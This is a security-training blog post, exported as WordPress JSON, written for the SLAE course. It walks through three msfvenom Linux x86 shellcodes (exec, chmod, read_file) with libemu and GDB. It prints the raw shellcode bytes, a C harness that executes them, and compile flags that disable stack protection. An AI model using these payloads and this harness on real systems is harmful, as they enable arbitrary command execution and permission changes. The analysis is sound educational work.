{"id":773,"date":"2020-09-13T12:44:05","date_gmt":"2020-09-13T12:44:05","guid":{"rendered":"http:\/\/mosunit.com\/?p=773"},"modified":"2020-09-14T09:28:37","modified_gmt":"2020-09-14T09:28:37","slug":"analyzing-linux-x86-shellcodes","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=773","title":{"rendered":"Analyzing Linux x86 shellcodes"},"content":{"rendered":"\n

In the previous posts, we have looked at creating shellcodes. In this post, I will cover analyses of 3 shellcodes generated using msfvenom<\/a><\/em>. All the shellcodes will be based on Linux x86 architecture. Our aim is to understand how these shellcodes are crafted and what happens in the background i.e. analysis of syscalls, instructions, etc.<\/p>\n\n\n\n

Let’s jump directly to the first shellcode.<\/p>\n\n\n\n

Linux\/x86\/exec<\/h2>\n\n\n\n

Creating a workable exploit<\/h3>\n\n\n\n

The first one that we are going to look at is Linux\/x86\/exec<\/em> payload. We will start with creating a workable exploit for this shellcode. The payload is designed to execute a command provided by the user at the time of creation of payload. The following command generates the payload, which executes “ifconfig”<\/em><\/p>\n\n\n\n

root@kali:~# msfvenom -p linux\/x86\/exec CMD=ifconfig -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 44 bytes\nFinal size of c file: 209 bytes\nunsigned char buf[] =\n\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\"\n\"\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x09\\x00\\x00\\x00\\x69\"\n\"\\x66\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x57\\x53\\x89\\xe1\\xcd\\x80\";<\/pre>\n\n\n\n
Note that we have used -f<\/em> flag to get the output in format which can be directly embedded in our C program. <\/p>\n\n\n\n
#include <stdio.h>\n#include <string.h>\n\nunsigned char code[] = \\\n\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\"\n\"\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x09\\x00\\x00\\x00\\x69\"\n\"\\x66\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x57\\x53\\x89\\xe1\\xcd\\x80\";\n\nmain()\n\n{\n        printf(\"Executing Shellcode... \\n\");\n        printf(\"******************************************************************************\\n\");\n        int (*ret)() = (int(*)())code;\n        ret();\n}\n<\/pre>\n\n\n\n
The final step is to compile this using gcc and then run it. We need to add fno-stack-protector<\/code> to unprotect the stack and execstack<\/code> to make the stack executable.<\/p>\n\n\n\n
root@kali:~\/slae\/assignments\/assignment-5# gcc -fno-stack-protector -z execstack -o linux_x86_exec linux_x86_exec.c\nlinux_x86_exec.c:9:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    9 | main()\n      | ^~~~<\/pre>\n\n\n\n
Running the shellcode runs “ifconfig”<\/em> on my system. The output is as shown.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now that we have a workable exploit for exec<\/em> shellcode, let’s move on to the analysis part.<\/p>\n\n\n\n
What’s under the hood !<\/h3>\n\n\n\n
There are multiple ways to analyze the shellcode. I am going to use the following approach for this payload:<\/p>\n\n\n\n
  1. Explore the payload using Libemu<\/em><\/li>
  2. Load the program in GDB <\/em> and perform step by step analysis<\/li><\/ol>\n\n\n\n
    Libemu<\/h4>\n\n\n\n
    Libemu is x86 emulator and is pretty good in analysis of shellcode. For our usage, we can feed in raw input from msfvenom<\/em> to sctest, which is one of the tools in Libemu library. You can research on tool installation, basic usage, etc. I will jump straight to the analysis.<\/p>\n\n\n\n
    Feeding sctest <\/em>with raw exec<\/em> payload from msfvenom<\/em> gives the following output:<\/p>\n\n\n\n
    root@kali:~\/slae\/assignments\/assignment-5# msfvenom -p linux\/x86\/exec CMD=ifconfig -f raw | sctest -v -Ss 1000 |more\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 44 bytes\n\nverbose = 1\nexecve\nint execve (const char *dateiname=00416fc0={\/bin\/sh}, const char * argv[], const char *envp[]);\ncpu error error accessing 0x00000004 not mapped\n\nstepcount 15\nint execve (\n     const char * dateiname = 0x00416fc0 =>\n           = \"\/bin\/sh\";\n     const char * argv[] = [\n           = 0x00416fb0 =>\n               = 0x00416fc0 =>\n                   = \"\/bin\/sh\";\n           = 0x00416fb4 =>\n               = 0x00416fc8 =>\n                   = \"-c\";\n           = 0x00416fb8 =>\n               = 0x0041701d =>\n                   = \"ifconfig\";\n           = 0x00000000 =>\n             none;\n     ];\n     const char * envp[] = 0x00000000 =>\n         none;\n) =  0;\n<\/pre>\n\n\n\n
    As you see, the output is quite clean as it is in C type <\/em>format. We can deduce the following from the above output:<\/p>\n\n\n\n
    • The syscall being invoked in execve<\/em><\/li>
    • The program being run is \/bin\/sh<\/em><\/li>
    • The argument for this syscall is “\/bin\/sh -c ifconfig”<\/em><\/li><\/ul>\n\n\n\n
      As you see, with just a single command, we know how the program was crafted by msfvenom.<\/p>\n\n\n\n
      To dig deeper and see this shellcode in action, let’s load the executable we generated earlier in GDB<\/em>.<\/p>\n\n\n\n
      GDB<\/h4>\n\n\n\n
      GDB will help us step through each instruction and analyse the registers, memory locations, etc. This will provide us deeper understanding. <\/p>\n\n\n\n
      Using Libemu, we already know that execve <\/em> syscall is being used, The man reference of execve <\/em>syscall is as follows:<\/p>\n\n\n\n
      int execve(const char *pathname, char *const argv[], char *const envp[]);<\/pre>\n\n\n\n
      Based upon information from Linemu analysis, the arguments will map to the following:<\/p>\n\n\n\n
      Register<\/th>Argument<\/th>Value<\/th><\/tr><\/thead>
      EAX<\/td>N.A.<\/td>0xb<\/td><\/tr>
      EBX<\/td>*pathname<\/td>\/bin\/sh<\/td><\/tr>
      ECX<\/td>argv[]<\/td>Address of “\/bin\/sh -c ifconfig”<\/td><\/tr>
      EDX<\/td>envp[]<\/td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
      Let’s load the program in GDB and disassemble it. The breakpoint was set at code, <\/em>which is the shellcode.<\/p>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      The above disassembly shows the code for our payload. <\/p>\n\n\n\n
      Let’s breakup the code for better understanding. The first breakup is as follows:<\/p>\n\n\n\n
         0x00404040 <+0>:     push   0xb\n   0x00404042 <+2>:     pop    eax\n   0x00404043 <+3>:     cdq\n<\/pre>\n\n\n\n
      The initial instructions push 0xb<\/em> onto the stack and then pops the value in EAX. So, EAX is loaded with 0xb, which is the syscall number for execve<\/em>. Then, cdq is used to extend the sign bit of EAX(which is 0) to EDX. So, it sets EDX to NULL. <\/p>\n\n\n\n
         0x00404045 <+5>:     pushw  0x632d\n   0x00404049 <+9>:     mov    edi,esp\n<\/pre>\n\n\n\n
      Next, we push null on the stack, followed by 0x632d<\/em>, which translates to “-c”<\/em>. The next instruction moves ESP to EDI. So, EDI points to “-c”<\/em> followed by NULL. The following will make this clearer.<\/p>\n\n\n\n
      (gdb) break *0x0040404b\nBreakpoint 2 at 0x40404b\n(gdb) c\nContinuing.\n\nBreakpoint 2, 0x0040404b in code ()\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x40404b to 0x404055:\n=> 0x0040404b <code+11>:        push   0x68732f\n   0x00404050 <code+16>:        push   0x6e69622f\nEnd of assembler dump.\n(gdb) print \/x $edi\n$1 = 0xbffff156\n(gdb) x\/s 0xbffff156\n0xbffff156:     \"-c\"\n\n<\/pre>\n\n\n\n
         0x0040404b <+11>:    push   0x68732f\n   0x00404050 <+16>:    push   0x6e69622f\n   0x00404055 <+21>:    mov    ebx,esp\n   0x00404057 <+23>:    push   edx<\/pre>\n\n\n\n
      The next two instructions push “\/bin\/sh” onto the stack. Then ESP is moved to EBP (*pathname), which now points to “\/bin\/sh” followed by NULL.<\/p>\n\n\n\n
      Dump of assembler code from 0x40404b to 0x404055:\n=> 0x0040404b <code+11>:        push   0x68732f\n   0x00404050 <code+16>:        push   0x6e69622f\nEnd of assembler dump.\n(gdb) stepi\n0x00404050 in code ()\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x404050 to 0x40405a:\n=> 0x00404050 <code+16>:        push   0x6e69622f\n   0x00404055 <code+21>:        mov    ebx,esp\n   0x00404057 <code+23>:        push   edx\n   0x00404058 <code+24>:        call   0x404066 <code+38>\nEnd of assembler dump.\n(gdb) print \/x $esp\n$2 = 0xbffff152\n(gdb) x\/s 0xbffff152\n0xbffff152:     \"\/sh\"\n(gdb) stepi\n0x00404055 in code ()\n(gdb) print \/x $esp\n$3 = 0xbffff14e\n(gdb) x\/s 0xbffff14e\n0xbffff14e:     \"\/bin\/sh\"\n                        <\/pre>\n\n\n\n
      0x00404058 <+24>:    call   0x404066 <code+38>\n0x0040405d <+29>:    imul   esp,DWORD PTR [esi+0x63],0x69666e6f<\/pre>\n\n\n\n
      The next bit is interesting. We encounter a call instruction. The call instruction pushes the address of next instruction to be executed on the stack and then jumps to the defined address. This means 0x0040405d <\/em>should be pushed on the stack. This is verified below. Also, upon examining this memory address, we can see that this is the actual command of our payload – ifconfig.<\/p>\n\n\n\n
      (gdb) stepi\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x404066 to 0x404070:\n=> 0x00404066 <code+38>:        push   edi\n   0x00404067 <code+39>:        push   ebx\n   0x00404068 <code+40>:        mov    ecx,esp\n   0x0040406a <code+42>:        int    0x80\n   0x0040406c <code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $esp\n$5 = 0xbffff146\n(gdb) x\/w 0xbffff146\n0xbffff146:     0x0040405d\n(gdb) x\/s 0x0040405d\n0x40405d <code+29>:     \"ifconfig\"\n<\/pre>\n\n\n\n
      => 0x00404066 <code+38>:        push   edi\n   0x00404067 <code+39>:        push   ebx\n   0x00404068 <code+40>:        mov    ecx,esp\n   0x0040406a <code+42>:        int    0x80\n<\/pre>\n\n\n\n
      The next instructions push EDI on the stack, which points to “-c” and then ebx, which points to “\/bin\/sh”. ECX is then loaded with ESP. So, to conclude, ECX(argv) now points to “\/bin\/sh -c ifconfig”<\/p>\n\n\n\n
      (gdb) disassemble $eip,+10\nDump of assembler code from 0x404066 to 0x404070:\n=> 0x00404066 <code+38>:        push   edi\n   0x00404067 <code+39>:        push   ebx\n   0x00404068 <code+40>:        mov    ecx,esp\n   0x0040406a <code+42>:        int    0x80\n   0x0040406c <code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) break *0x0040406a\nBreakpoint 3 at 0x40406a\n(gdb) c\nContinuing.\n\nBreakpoint 3, 0x0040406a in code ()\n(gdb) disassemble $eip,+5\nDump of assembler code from 0x40406a to 0x40406f:\n=> 0x0040406a <code+42>:        int    0x80\n   0x0040406c <code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $ecx\n$6 = 0xbffff13e\n(gdb) x\/4w 0xbffff13e\n0xbffff13e:     0xbffff14e      0xbffff156      0x0040405d      0x00000000\n(gdb) x\/s 0xbffff14e\n0xbffff14e:     \"\/bin\/sh\"\n(gdb) x\/s 0xbffff156\n0xbffff156:     \"-c\"\n(gdb) x\/s 0x0040405d\n0x40405d <code+29>:     \"ifconfig\"<\/pre>\n\n\n\n
      Continuing the program runs ifconfig. This concludes analysis of Linux\/x86\/exec<\/em> shellcode.<\/p>\n\n\n\n
      Linux\/x86\/chmod<\/h2>\n\n\n\n
      Creating a workable exploit<\/h3>\n\n\n\n
      The next up for analysis is linux\/x86\/chmod<\/em>. This payload is aimed to run chmod<\/em> on specified file with specified mode.  We will use msfvenom to create a payload to change the mode to 0777<\/em> on file \/root\/slae\/assignments\/assignment-5\/permtest.txt<\/em><\/p>\n\n\n\n
      root@kali:~# msfvenom -p linux\/x86\/chmod FILE=\/root\/slae\/assignments\/assignment-5\/permtest.txt MODE=0777 -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 73 bytes\nFinal size of c file: 331 bytes\nunsigned char buf[] =\n\"\\x99\\x6a\\x0f\\x58\\x52\\xe8\\x31\\x00\\x00\\x00\\x2f\\x72\\x6f\\x6f\\x74\"\n\"\\x2f\\x73\\x6c\\x61\\x65\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\\x6d\\x65\\x6e\"\n\"\\x74\\x73\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\\x6d\\x65\\x6e\\x74\\x2d\\x35\"\n\"\\x2f\\x70\\x65\\x72\\x6d\\x74\\x65\\x73\\x74\\x2e\\x74\\x78\\x74\\x00\\x5b\"\n\"\\x68\\xff\\x01\\x00\\x00\\x59\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\";\n<\/pre>\n\n\n\n
      Embedding the above shellcode in our C skeleton exploit and running it (using the same steps as earlier), we see that the permissions of the file have been modified.  <\/p>\n\n\n\n
      root@kali:~\/slae\/assignments\/assignment-5# ls -l permtest.txt\n-rw-r--r-- 1 root root 20 Sep 12 07:16 permtest.txt\nroot@kali:~\/slae\/assignments\/assignment-5# .\/linux_x86_chmod\nShellcode length: 7\nroot@kali:~\/slae\/assignments\/assignment-5# ls -l permtest.txt\n-rwxrwxrwx 1 root root 20 Sep 12 07:16 permtest.txt\n<\/pre>\n\n\n\n
      What’s under the hood !<\/h3>\n\n\n\n
      GDB<\/h4>\n\n\n\n
      For this exploit, we will directly jump into GDB for analysis. Hooking the program and breaking at code brings us to the following screen:<\/p>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      Let’s breakup this code and walk through one section at a time. <\/p>\n\n\n\n
      Dump of assembler code for function code:\n=> 0x00404040 <+0>:     cdq\n   0x00404041 <+1>:     push   0xf\n   0x00404043 <+3>:     pop    eax\n   0x00404044 <+4>:     push   edx<\/pre>\n\n\n\n
      The code starts with cdq<\/em> instruction that sets EDX to NULL. Then 0xf is moved to EAX using push and pop instructions. This confirms that the syscall being invoked is chmod. <\/em>The man reference can now be queried to know the parameters needed for this syscall.<\/p>\n\n\n\n
      int chmod(const char *pathname, mode_t mode);<\/pre>\n\n\n\n
      Pathname points to the file on which changes need to be made. Mode specifies the new bit mask to be set for the file. <\/p>\n\n\n\n
      Let’s step into the next section of the instruction.<\/p>\n\n\n\n
      0x00404045 <+5>:     call   0x40407b <code+59>\n0x0040404a <+10>:    das\n<\/pre>\n\n\n\n
      The next instruction is a call instruction. This means that the address of the next instruction to be executed will be pushed on the stack. Though this seems gibberish data, querying it confirms that it holds the path of the file on which changes need to be made.<\/p>\n\n\n\n
      (gdb) x\/s 0x0040404a\n0x40404a <code+10>:     \"\/root\/slae\/assignments\/assignment-5\/permtest.txt\"<\/pre>\n\n\n\n
      Let’s step into the next instruction<\/p>\n\n\n\n
         0x0040407b <+59>:    pop    ebx\n   0x0040407c <+60>:    push   0x1ff\n   0x00404081 <+65>:    pop    ecx\n   0x00404082 <+66>:    int    0x80\n<\/pre>\n\n\n\n
      The next instruction pops the top of stack (which has the file pathname) in EBX. Then ECX is populated with 0x1ff using push and pop instructions. 0x1ff converts to octal 777<\/em>, which is the modified file permissions. Post this, the syscall is executed.<\/p>\n\n\n\n
      The following summarizes the value in registers EAX, EBX and ECX<\/p>\n\n\n\n
      (gdb) disassemble $eip,+10\nDump of assembler code from 0x404082 to 0x40408c:\n=> 0x00404082 <code+66>:        int    0x80\n   0x00404084 <code+68>:        push   0x1\n   0x00404086 <code+70>:        pop    eax\n   0x00404087 <code+71>:        int    0x80\n   0x00404089 <code+73>:        add    BYTE PTR [eax],al\n   0x0040408b:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $eax\n$1 = 0xf\n(gdb) print \/x $ebx\n$2 = 0x40404a\n(gdb) x\/s 0x40404a\n0x40404a <code+10>:     \"\/root\/slae\/assignments\/assignment-5\/permtest.txt\"\n(gdb) print \/x $ecx\n$3 = 0x1ff\n<\/pre>\n\n\n\n
      Linux\/x86\/read_file<\/h2>\n\n\n\n
      Creating a workable exploit<\/h3>\n\n\n\n
      The third and the last payload on which we will perform analysis is linux\/x86\/read_file<\/em>. This payload when executed reads a file from the file system and writes it to the specified file descriptor. <\/p>\n\n\n\n
      In our case, let’s create shellcode to read a file on the local system(\/root\/slae\/assignments\/assignment-5\/readfile.txt) and print it out on the screen(FD=1).<\/p>\n\n\n\n
      root@kali:~# msfvenom -p linux\/x86\/read_file FD=1 PATH=\/root\/slae\/assignments\/assignment-5\/readfile.txt -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 110 bytes\nFinal size of c file: 488 bytes\nunsigned char buf[] =\n\"\\xeb\\x36\\xb8\\x05\\x00\\x00\\x00\\x5b\\x31\\xc9\\xcd\\x80\\x89\\xc3\\xb8\"\n\"\\x03\\x00\\x00\\x00\\x89\\xe7\\x89\\xf9\\xba\\x00\\x10\\x00\\x00\\xcd\\x80\"\n\"\\x89\\xc2\\xb8\\x04\\x00\\x00\\x00\\xbb\\x01\\x00\\x00\\x00\\xcd\\x80\\xb8\"\n\"\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xc5\\xff\\xff\"\n\"\\xff\\x2f\\x72\\x6f\\x6f\\x74\\x2f\\x73\\x6c\\x61\\x65\\x2f\\x61\\x73\\x73\"\n\"\\x69\\x67\\x6e\\x6d\\x65\\x6e\\x74\\x73\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\"\n\"\\x6d\\x65\\x6e\\x74\\x2d\\x35\\x2f\\x72\\x65\\x61\\x64\\x66\\x69\\x6c\\x65\"\n\"\\x2e\\x74\\x78\\x74\\x00\";<\/pre>\n\n\n\n
      Following the same steps as we did in the first shellcode, we need to embed this in our C skeleton exploit code and then compile it. Once run, you can see that the file is read and the output is printed on the screen.<\/p>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      Now that we have a workable exploit, let’s move to the analysis part.<\/p>\n\n\n\n
      What’s under the hood !<\/h3>\n\n\n\n
      GDB<\/h4>\n\n\n\n
      To start with, the program was hooked with GDB and then a breakpoint was set at code, <\/em>which is the actual shellcode in our exploit. The complete disassembly is shown below:<\/p>\n\n\n\n
      (gdb) break *&code\nBreakpoint 1 at 0x4040\n(gdb) run\nStarting program: \/root\/slae\/assignments\/assignment-5\/linux_x86_read_file\nShellcode length: 4\n\nBreakpoint 1, 0x00404040 in code ()\n(gdb) disassemble\nDump of assembler code for function code:\n=> 0x00404040 <+0>:     jmp    0x404078 <code+56>\n   0x00404042 <+2>:     mov    eax,0x5\n   0x00404047 <+7>:     pop    ebx\n   0x00404048 <+8>:     xor    ecx,ecx\n   0x0040404a <+10>:    int    0x80\n   0x0040404c <+12>:    mov    ebx,eax\n   0x0040404e <+14>:    mov    eax,0x3\n   0x00404053 <+19>:    mov    edi,esp\n   0x00404055 <+21>:    mov    ecx,edi\n   0x00404057 <+23>:    mov    edx,0x1000\n   0x0040405c <+28>:    int    0x80\n   0x0040405e <+30>:    mov    edx,eax\n   0x00404060 <+32>:    mov    eax,0x4\n   0x00404065 <+37>:    mov    ebx,0x1\n   0x0040406a <+42>:    int    0x80\n   0x0040406c <+44>:    mov    eax,0x1\n   0x00404071 <+49>:    mov    ebx,0x0\n   0x00404076 <+54>:    int    0x80\n   0x00404078 <+56>:    call   0x404042 <code+2>\n   0x0040407d <+61>:    das\n   0x0040407e <+62>:    jb     0x4040ef\n   0x00404080 <+64>:    outs   dx,DWORD PTR ds:[esi]\n   0x00404081 <+65>:    je     0x4040b2\n   0x00404083 <+67>:    jae    0x4040f1\n   0x00404085 <+69>:    popa\n   0x00404086 <+70>:    gs das\n   0x00404088 <+72>:    popa\n   0x00404089 <+73>:    jae    0x4040fe\n   0x0040408b <+75>:    imul   esp,DWORD PTR [edi+0x6e],0x746e656d\n   0x00404092 <+82>:    jae    0x4040c3\n   0x00404094 <+84>:    popa\n   0x00404095 <+85>:    jae    0x40410a\n   0x00404097 <+87>:    imul   esp,DWORD PTR [edi+0x6e],0x746e656d\n   0x0040409e <+94>:    sub    eax,0x65722f35\n   0x004040a3 <+99>:    popa\n   0x004040a4 <+100>:   imul   bp,WORD PTR fs:[ebp+eiz*2+0x2e],0x7874\n   0x004040ac <+108>:   je     0x4040ae <code+110>\n   0x004040ae <+110>:   add    BYTE PTR [eax],al\nEnd of assembler dump.\n<\/pre>\n\n\n\n
      Let’s break this into sections.<\/p>\n\n\n\n
      Dump of assembler code for function code:\n=> 0x00404040 <+0>:     jmp    0x404078 <code+56>\n   0x00404042 <+2>:     mov    eax,0x5\n   0x00404047 <+7>:     pop    ebx\n   0x00404048 <+8>:     xor    ecx,ecx\n   0x0040404a <+10>:    int    0x80\n   0x0040404c <+12>:    mov    ebx,eax\n   0x0040404e <+14>:    mov    eax,0x3\n   0x00404053 <+19>:    mov    edi,esp\n   0x00404055 <+21>:    mov    ecx,edi\n   0x00404057 <+23>:    mov    edx,0x1000\n   0x0040405c <+28>:    int    0x80\n   0x0040405e <+30>:    mov    edx,eax\n   0x00404060 <+32>:    mov    eax,0x4\n   0x00404065 <+37>:    mov    ebx,0x1\n   0x0040406a <+42>:    int    0x80\n   0x0040406c <+44>:    mov    eax,0x1\n   0x00404071 <+49>:    mov    ebx,0x0\n   0x00404076 <+54>:    int    0x80\n   0x00404078 <+56>:    call   0x404042 <code+2>\n   0x0040407e <+62>:    jb     0x4040ef\n<\/pre>\n\n\n\n
      Here is how the first syscall unfolds. The first one is classic JMP-CALL-POP technique. The value is popped in EBX register. If you evaluate the value closely, it is nothing but the file that needs to be read.<\/p>\n\n\n\n
      (gdb) x\/s 0x0040407e\n0x40407e <code+62>:     \"root\/slae\/assignments\/assignment-5\/readfile.txt\"\n<\/pre>\n\n\n\n
      Also, EAX is populated with 0x5<\/em>, which is the syscall number for open <\/em>sycall. Post that, ECX is XORed to NULL. The man reference of open <\/em>syscall is shown below:<\/p>\n\n\n\n
      int open(const char *pathname, int flags)<\/pre>\n\n\n\n
      Comparing this to the values populated in the registers, we can confirm that EAX is loaded with the syscall number. EBX has pointer to the pathname and the flags<\/em> is set to 0 using ECX. Post this, the open syscall is initiated and our file is opened. <\/p>\n\n\n\n
      Now, let’s look at the second syscall.<\/p>\n\n\n\n
         0x0040404c <+12>:    mov    ebx,eax\n   0x0040404e <+14>:    mov    eax,0x3\n   0x00404053 <+19>:    mov    edi,esp\n   0x00404055 <+21>:    mov    ecx,edi\n   0x00404057 <+23>:    mov    edx,0x1000\n   0x0040405c <+28>:    int    0x80\n<\/pre>\n\n\n\n
      Looking at the value 0x3 being loaded in the EAX, register, we know that this is the read <\/em>syscall. EBX is first loaded with value in EAX, which the file descriptor returned from the open syscall. The man reference of read syscall is as follows:<\/p>\n\n\n\n
       ssize_t read(int fd, void *buf, size_t count);\n<\/pre>\n\n\n\n
      We already have EAX populated with the sycall number and EBX with fd, which is the file descriptor of the file to be read. The next instructions moves the value of ESP in ECX, which is the second argument – *buf<\/em>. This points to a valid stack value to read the file into the buffer. In the next instruction, EDX is set to 0x1 for the third argument – count<\/em>, which translates to 4096 in decimal. After this, the syscall is invoked.<\/p>\n\n\n\n
      Our next step is to write the output back. In this case, the output is written on the screen. Let’s look at the next syscall to demystify this.<\/p>\n\n\n\n
         0x0040405e <+30>:    mov    edx,eax\n   0x00404060 <+32>:    mov    eax,0x4\n   0x00404065 <+37>:    mov    ebx,0x1\n   0x0040406a <+42>:    int    0x80\n   0x0040406c <+44>:    mov    eax,0x1\n   0x00404071 <+49>:    mov    ebx,0x0\n   0x00404076 <+54>:    int    0x80\n<\/pre>\n\n\n\n
      As we see that EAX is loaded with 0x4, which is the write <\/em>syscall, let’s look at man reference of this syscall:<\/p>\n\n\n\n
      ssize_t write(int fd, const void *buf, size_t count);<\/pre>\n\n\n\n
      The first instruction moves value of EAX, which is the return value of last syscall in EDX. This basically populates EDX, which should hold the value of argument count <\/em>with the number of bytes read (returned from last syscall).<\/p>\n\n\n\n
      Then EBX is loaded with 1, which is the value of file descriptor fd. <\/em>That means that the output will be written to STDOUT. Post this, the sycall is invoked and we see the output on the screen.<\/p>\n\n\n\n
      This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n
      Student ID: PA-16521<\/p>\n\n\n\n
      The code is also stored at GitHub<\/a>. Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"
      In the previous posts, we have looked at creating shellcodes. In this post, I will cover analyses of 3 shellcodes generated using msfvenom. All the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,4,21,25],"tags":[],"class_list":["post-773","post","type-post","status-publish","format-standard","hentry","category-assembly","category-av-evasion","category-shellcoding","category-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=773"}],"version-history":[{"count":59,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions"}],"predecessor-version":[{"id":848,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions\/848"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}